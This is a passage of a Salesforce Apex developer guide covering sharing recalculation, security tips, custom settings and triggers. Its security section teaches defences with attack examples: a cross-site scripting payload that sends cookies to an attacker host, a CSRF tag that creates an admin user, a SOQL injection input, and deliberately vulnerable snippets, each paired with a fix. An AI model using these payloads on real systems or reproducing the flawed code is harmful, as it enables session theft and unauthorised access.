  • 194. Working with Data in Apex Understanding Apex Managed Sharing Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects. You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined by the application’s logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed sharing recalculation. Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes defined for associated custom object are also executed. To monitor or stop the execution of the Apex recalculation, from Setup, click Monitoring > Apex Jobs or Jobs > Apex Jobs. Creating an Apex Class for Recalculating Sharing To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the Salesforce-provided interface Database.Batchable. The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can implement this interface more than once in your organization. For more information on the methods that must be implemented, see Using Batch Apex on page 208. Before creating an Apex managed sharing recalculation class, also consider the best practices. Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 164. Apex Managed Sharing Recalculation Example For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter and hiring manager listed on the job have access to the record. The following Apex class performs this validation. This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this sample, replace the email address with a valid email address that you want to to send error notifications and job completion notifications to. global class JobSharingRecalc implements Database.Batchable<sObject> { // String to hold email address that emails will be sent to. // Replace its value with a valid email address. static String emailAddress = 'admin@yourcompany.com'; // The start method is called at the beginning of a sharing recalculation. // This method returns a SOQL query locator containing the records // to be recalculated. global Database.QueryLocator start(Database.BatchableContext BC){ return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c FROM Job__c]); } // The executeBatch method is called for each chunk of records returned from start. global void execute(Database.BatchableContext BC, List<sObject> scope){ // Create a map for the chunk of records passed into method. Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope); // Create a list of Job__Share objects to be inserted. List<Job__Share> newJobShrs = new List<Job__Share>(); // Locate all existing sharing records for the Job records in the batch. // Only records using an Apex sharing reason for this app should be returned. 170
  • 195. Working with Data in Apex Understanding Apex Managed Sharing List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE Id IN :jobMap.keySet() AND (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)]; // Construct new sharing records for the hiring manager and recruiter // on each Job record. for(Job__c job : jobMap.values()){ Job__Share jobHMShr = new Job__Share(); Job__Share jobRecShr = new Job__Share(); // Set the ID of user (hiring manager) on the Job record being granted access. jobHMShr.UserOrGroupId = job.Hiring_Manager__c; // The hiring manager on the job should always have 'Read Only' access. jobHMShr.AccessLevel = 'Read'; // The ID of the record being shared jobHMShr.ParentId = job.Id; // Set the rowCause to the Apex sharing reason for hiring manager. // This establishes the sharing record as Apex managed sharing. jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c; // Add sharing record to list for insertion. newJobShrs.add(jobHMShr); // Set the ID of user (recruiter) on the Job record being granted access. jobRecShr.UserOrGroupId = job.Recruiter__c; // The recruiter on the job should always have 'Read/Write' access. jobRecShr.AccessLevel = 'Edit'; // The ID of the record being shared jobRecShr.ParentId = job.Id; // Set the rowCause to the Apex sharing reason for recruiter. // This establishes the sharing record as Apex managed sharing. jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c; // Add the sharing record to the list for insertion. newJobShrs.add(jobRecShr); } try { // Delete the existing sharing records. // This allows new sharing records to be written from scratch. Delete oldJobShrs; // Insert the new sharing records and capture the save result. // The false parameter allows for partial processing if multiple records are // passed into operation. Database.SaveResult[] lsr = Database.insert(newJobShrs,false); // Process the save results for insert. for(Database.SaveResult sr : lsr){ if(!sr.isSuccess()){ // Get the first save result error. Database.Error err = sr.getErrors()[0]; // Check if the error is related to trivial access level. // Access levels equal or more permissive than the object's default // access level are not allowed. // These sharing records are not required and thus an insert exception // is acceptable. if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION && err.getMessage().contains('AccessLevel'))){ // Error is not related to trivial access level. // Send an email to the Apex job's submitter. 171
  • 196. Working with Data in Apex Understanding Apex Managed Sharing Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {emailAddress}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation Exception'); mail.setPlainTextBody( 'The Apex sharing recalculation threw the following exception: ' + err.getMessage()); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } } } } catch(DmlException e) { // Send an email to the Apex job's submitter on failure. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {emailAddress}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation Exception'); mail.setPlainTextBody( 'The Apex sharing recalculation threw the following exception: ' + e.getMessage()); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } } // The finish method is called at the end of a sharing recalculation. global void finish(Database.BatchableContext BC){ // Send an email to the Apex job's submitter notifying of job completion. Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {emailAddress}; mail.setToAddresses(toAddresses); mail.setSubject('Apex Sharing Recalculation Completed.'); mail.setPlainTextBody ('The Apex sharing recalculation finished processing'); Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail }); } } Testing Apex Managed Sharing Recalculations This example inserts five Job records and invokes the batch job that is implemented in the batch class of the previous example. This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this test, set the organization-wide default sharing for Job to Private. Note that since email messages aren’t sent from tests, and because the batch class is invoked by a test method, the email notifications won’t be sent in this case. @isTest private class JobSharingTester { // Test for the JobSharingRecalc class static testMethod void testApexSharing(){ // Instantiate the class implementing the Database.Batchable interface. JobSharingRecalc recalc = new JobSharingRecalc(); // Select users for the test. List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2]; ID User1Id = users[0].Id; ID User2Id = users[1].Id; // Insert some test job records. List<Job__c> testJobs = new List<Job__c>(); for (Integer i=0;i<5;i++) { Job__c j = new Job__c(); j.Name = 'Test Job ' + i; j.Recruiter__c = User1Id; j.Hiring_Manager__c = User2Id; testJobs.add(j); 172
  • 197. Working with Data in Apex Understanding Apex Managed Sharing } insert testJobs; Test.startTest(); // Invoke the Batch class. String jobId = Database.executeBatch(recalc); Test.stopTest(); // Get the Apex job and verify there are no errors. AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status, CompletedDate, CreatedDate, NumberOfErrors from AsyncApexJob where Id = :jobId]; System.assertEquals(0, aaj.NumberOfErrors); // This query returns jobs and related sharing records that were inserted // by the batch job's execute method. List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c, (SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)) FROM Job__c]; // Validate that Apex managed sharing exists on jobs. for(Job__c job : jobs){ // Two Apex managed sharing records should exist for each job // when using the Private org-wide default. System.assert(job.Shares.size() == 2); for(Job__Share jobShr : job.Shares){ // Test the sharing record for hiring manager on job. if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){ System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c); System.assertEquals(jobShr.AccessLevel,'Read'); } // Test the sharing record for recruiter on job. else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){ System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c); System.assertEquals(jobShr.AccessLevel,'Edit'); } } } } } Associating an Apex Class Used for Recalculation An Apex class used for recalculation must be associated with a custom object. To associate an Apex managed sharing recalculation class with a custom object: 1. 2. 3. 4. From Setup, click Create > Objects. Select the custom object. Click New in the Apex Sharing Recalculations related list. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object. 5. Click Save. 173
  • 198. Working with Data in Apex Security Tips for Apex and Visualforce Development Security Tips for Apex and Visualforce Development Understanding Security The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls. Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex. To certify an application for AppExchange, it is important that developers learn and understand the security flaws described here. For additional information, see the Force.com Security Resources page on Developer Force at http://wiki.developerforce.com/page/Security. Cross Site Scripting (XSS) Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives. For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce page. <script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script> This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for userparam: 1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2 In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim. The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session. For more information on this attack in general, see the following articles: • • • • http://www.owasp.org/index.php/Cross_Site_Scripting http://www.cgisecurity.com/articles/xss-faq.shtml http://www.owasp.org/index.php/Testing_for_Cross_site_scripting http://www.google.com/search?q=cross-site+scripting Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, 174
  • 199. Working with Data in Apex Security Tips for Apex and Visualforce Development the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist. Existing Protection All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to &lt; so that a literal < displays on the user's screen. <apex:outputText> {!$CurrentPage.parameters.userInput} </apex:outputText> Disabling Escape on Visualforce Tags By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks: <apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" /> Programming Items Not Protected from XSS The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page. Custom JavaScript If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript. <script> var foo = location.search; document.write(foo); </script> <apex:includeScript> The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other website. <apex:includeScript value="{!$CurrentPage.parameters.userInput}" /> Unescaped Output and Formulas in Visualforce Pages When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component, output is unfiltered and must be validated for security. This is especially important when using formula expressions. Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. It is important to be aware that the output that is generated by expressions is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression 175
  • 200. Working with Data in Apex Security Tips for Apex and Visualforce Development references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by rerendering user input on a page. For example, <apex:page standardController="Account"> <apex:form> <apex:commandButton rerender="outputIt" value="Update It"/> <apex:inputText value="{!myTextField}"/> </apex:form> <apex:outputPanel id="outputIt"> Value of myTextField is <apex:outputText value=" {!myTextField}" escape="false"/> </apex:outputPanel> </apex:page> The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters : <script>alert('xss') and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed. There are several functions that you can use for escaping potentially insecure strings. HTMLENCODE The HTMLENCODE function encodes text strings and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;. JSENCODE The JSENCODE function encodes text strings and merge field values for use in JavaScript by inserting escape characters, such as a backslash (), before unsafe JavaScript characters, such as the apostrophe ('). JSINHTMLENCODE The JSINHTMLENCODE function encodes text strings and merge field values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents. URLENCODE The URLENCODE function encodes text strings and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, exclamation points are replaced with %21. To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following: <apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/> If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded and the page displays Value of myTextField is <script>alert('xss'). Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement: <script>var ret = "{!$CurrentPage.parameters.retURL}";script>var ret = "{!$CurrentPage.parameters.retURL}";</script> 176
  • 201. Working with Data in Apex Security Tips for Apex and Visualforce Development requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is going to be used in a link. Otherwise, the request: http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F results in: <script>var ret = "foo";alert('xss');//";</script> The JavaScript executes, and the alert is displayed. In this case, to prevent the JavaScript being executed, use the JSENCODE function. For example <script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script> Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and may not have been screened for malicious content. Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that looks like this: <img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 /> In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods. For more information and traditional defenses, see the following articles: • • • http://www.owasp.org/index.php/Cross-Site_Request_Forgery http://www.cgisecurity.com/articles/csrf-faq.shtml http://shiflett.org/articles/cross-site-request-forgeries Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods. Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet. <apex:page controller="myClass" action="{!init}"</apex:page> public class myClass { public void init() { Id id = ApexPages.currentPage().getParameters().get('id'); Account obj = [select id, Name FROM Account WHERE id = :id]; 177
  • 202. Working with Data in Apex Security Tips for Apex and Visualforce Development delete obj; return ; } } In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter. There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated. SOQL Injection In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application into performing unintended commands. For more information on SQL Injection attacks see: • • • • http://www.owasp.org/index.php/SQL_injection http://www.owasp.org/index.php/Blind_SQL_Injection http://www.owasp.org/index.php/Guide_to_SQL_Injection http://www.google.com/search?q=sql+injection SOQL Injection Vulnerability in Apex Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection. <apex:page controller="SOQLController" > <apex:form> <apex:outputText value="Enter Name" /> <apex:inputText value="{!name}" /> <apex:commandButton value="Query" action="{!query}“ /> </apex:form> </apex:page> public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String qryString = 'SELECT Id FROM Contact WHERE ' + '(IsDeleted = false and Name like '%' + name + '%')'; queryResult = Database.query(qryString); return null; } } This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user provides one input value called name. The value can be anything provided by the user and it is never validated. The 178
  • 203. Working with Data in Apex Security Tips for Apex and Visualforce Development SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes as expected: // User supplied value: name = Bob // Query string SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%') However, what if the user provides unexpected input, such as: // User supplied value for name: test%') OR (Name LIKE ' In that case, the query string becomes: SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%') Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any vulnerable query. SOQL Injection Defenses To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable example above can be re-written using static SOQL as follows: public class SOQLController { public String name { get { return name;} set { name = value;} } public PageReference query() { String queryName = '%' + name + '%'; queryResult = [SELECT Id FROM Contact WHERE (IsDeleted = false and Name like :queryName)]; return null; } } If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the escape character () to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands. Data Access Control The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers. When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution. The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. This is particularly true for Visualforce pages. For example, consider the following Apex pseudo-code: public class customController { public void read() { Contact contact = [SELECT id FROM Contact WHERE Name = :value]; } } 179
  • 204. Working with Data in Apex Custom Settings In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these records. The solution is to use the qualifying keywords with sharing when declaring the class: public with sharing class customController { . . . } The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than granting full access to all records. Custom Settings Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula fields, validation rules, Apex, and the SOAP API. There are two types of custom settings: List Custom Settings A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits. Hierarchy Custom Settings A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most specific, or “lowest,” value. In the hierarchy, settings for an organization are overridden by profile settings, which, in turn, are overridden by user settings. The following examples illustrate how you can use custom settings: • • A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all country codes, users have quick access to this data without needing to query the database. An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful for sales reps, but account executives only want to see account locations. By creating a hierarchy setting with custom checkbox fields for route and traffic, you can enable this data for just the “Sales Rep” profile. You can create a custom setting in the Salesforce user interface: from Setup, click Develop > Custom Settings. After creating a custom setting and you’ve added fields, provide data to your custom setting by clicking Manage from the detail page. Each data set is identified by the name you give it. For example, if you have a custom setting named Foundation_Countries__c with one text field Country_Code__c, your data sets can look like the following: Data Set Name Country Code Field Value United States USA Canada CAN United Kingdom GBR 180
  • 205. Working with Data in Apex Custom Settings You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the Visibility setting. Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must populate the custom settings using Apex code run by the subscribing organization after they’ve installed the package. Apex can access both custom setting types—list and hierarchy. Note: If Privacy for a custom setting is Protected and the custom setting is contained in a managed package, the subscribing organization cannot edit the values or access them using Apex. Accessing a List Custom Setting The following example returns a map of custom settings data. The getAll method returns values for all custom fields associated with the list setting. Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll(); The following example uses the getValues method to return all the field values associated with the specified data set. This method can be used with both list and hierarchy custom settings, using different parameters. CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name); Accessing a Hierarchy Custom Setting The following example uses the getOrgDefaults method to return the data set values for the organization level: CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults(); The following example uses the getInstance method to return the data set values for the specified profile. The getInstance method can also be used with a user ID. CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID); See Also: Custom Settings Methods 181
  • 206. WAYS TO INVOKE APEX Chapter 8 Invoking Apex In this chapter ... • • • • • • • Anonymous Blocks Triggers Asynchronous Apex Web Services Apex Email Service Visualforce Classes Invoking Apex Using JavaScript This chapter describes in detail the different mechanisms for invoking Apex code. Here is an overview of the many ways you can invoke Apex. You can run Apex using: • • • • • • • A code snippet in an anonymous block. A trigger invoked for specified events. Asynchronous Apex by executing a future method, scheduling an Apex class to run at specified intervals, or running a batch job. Apex Web Services, which allow exposing your methods via SOAP and REST Web services. Apex Email Service to process inbound email. Visualforce controllers, which contain logic in Apex for Visualforce pages. The Ajax toolkit to invoke Web service methods implemented in Apex. 182
  • 207. Invoking Apex Anonymous Blocks Anonymous Blocks An anonymous block is Apex code that does not get stored in the metadata, but that can be compiled and executed using one of the following: • • • Developer Console Force.com IDE The executeAnonymous SOAP API call: ExecuteAnonymousResult executeAnonymous(String code) You can use anonymous blocks to quickly evaluate Apex on the fly, such as in the Developer Console or the Force.com IDE, or to write code that changes dynamically at runtime. For example, you might write a client Web application that takes input from a user, such as a name and address, and then uses an anonymous block of Apex to insert a contact with that name and address into the database. Note the following about the content of an anonymous block (for executeAnonymous, the code String): • • • • • • • Can include user-defined methods and exceptions. User-defined methods cannot include the keyword static. You do not have to manually commit any database changes. If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the database are rolled back. Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the code violates the user's object- and field-level permissions. Do not have a scope other than local. For example, though it is legal to use the global access modifier, it has no meaning. The scope of the method is limited to the anonymous block. When you define a class or interface (a custom type) in an anonymous block, the class or interface is considered virtual by default when the anonymous block executes. This is true even if your custom type wasn’t defined with the virtual modifier. Save your class or interface in Salesforce to avoid this from happening. Note that classes and interfaces defined in an anonymous block aren’t saved in your organization. Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables cannot be referenced before their actual declaration. In the following example, the Integer int must be declared while myProcedure1 does not: Integer int1 = 0; void myProcedure1() { myProcedure2(); } void myProcedure2() { int1++; } myProcedure1(); The return result for anonymous blocks includes: • • Status information for the compile and execute phases of the call, including any errors that occur The debug log content, including the output of any calls to the System.debug method (see Understanding the Debug Log on page 329) 183
  • 208. Invoking Apex • Triggers The Apex stack trace of any uncaught code execution exceptions, including the class, method, and line number for each call stack element For more information on executeAnonymous(), see SOAP API and SOAP Headers for Apex. See also Working with Logs in the Developer Console and the Force.com IDE. Triggers Apex can be invoked through the use of triggers. A trigger is Apex code that executes before or after the following types of operations: • • • • • • insert update delete merge upsert undelete For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or even after a record is restored from the Recycle Bin. You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard child objects, such as a CaseComment, and custom objects. • • For case comments, from Setup, click Customize > Cases > Case Comments > Triggers. For email messages, from Setup, click Customize > Cases > Email Messages > Triggers. Triggers can be divided into two types: • • Before triggers can be used to update or validate record values before they are saved to the database. After triggers can be used to access field values that are set by the database (such as a record's Id or lastUpdated field), and to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue. Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to change, and because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and sets limits on the number of operations that can be performed to prevent infinite recursion. See Understanding Execution Governors and Limits on page 236. Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error. This includes both direct and indirect operations. For example, if you update account A, and the before update trigger of account A inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML update statement or database method, then you are indirectly updating account A in its before trigger, and you will receive a runtime error. Implementation Considerations Before creating triggers, consider the following: • • upsert triggers fire both before and after insert or before and after update triggers as appropriate. merge triggers fire both before and after delete triggers for the losing records and before update triggers for the • winning record only. See Triggers and Merge Statements on page 192. Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records on page 192. 184
  • 209. Invoking Apex • • Bulk Triggers Field history is not recorded until the end of a trigger. If you query field history in a trigger, you will not see any history for the current transaction. For Apex saved using Salesforce.com API version 20.0 or earlier, if an API call causes a trigger to fire, the chunk of 200 records to process is further split into chunks of 100 records. For Apex saved using Salesforce.com API version 21.0 and later, no further splits of API chunks occur. Note that static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state information between API batches. Bulk Triggers All triggers are bulk triggers by default, and can process multiple records at a time. You should always plan on processing more than one record at a time. Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers. Bulk triggers can handle both single record updates and bulk operations like: • • • • Data import Force.com Bulk API calls Mass actions, such as record owner changes and deletes Recursive Apex methods and triggers that invoke bulk DML statements Trigger Syntax To define a trigger, use the following syntax: trigger triggerName on ObjectName (trigger_events) { code_block } where trigger_events can be a comma-separated list of one or more of the following events: • • • • • • • before insert before update before delete after insert after update after delete after undelete Note: • • You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that is, when the method is defined with the @future keyword. A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API. 185
  • 210. Invoking Apex Trigger Context Variables For example, the following code defines a trigger for the before insert and before update events on the Account object: trigger myAccountTrigger on Account (before insert, before update) { // Your code here } The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner class. In addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the database are rolled back. Trigger Context Variables All triggers define implicit variables that allow developers to access runtime context. These variables are contained in the System.Trigger class: Variable Usage isExecuting Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service, or an executeanonymous() API call. isInsert Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface, Apex, or the API. isUpdate Returns true if this trigger was fired due to an update operation, from the Salesforce user interface, Apex, or the API. isDelete Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface, Apex, or the API. isBefore Returns true if this trigger was fired before any record was saved. isAfter Returns true if this trigger was fired after all records were saved. isUndelete Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after an undelete operation from the Salesforce user interface, Apex, or the API.) new Returns a list of the new versions of the sObject records. Note that this sObject list is only available in insert and update triggers, and the records can only be modified in before triggers. newMap A map of IDs to the new versions of the sObject records. Note that this map is only available in before update, after insert, and after update triggers. old Returns a list of the old versions of the sObject records. Note that this sObject list is 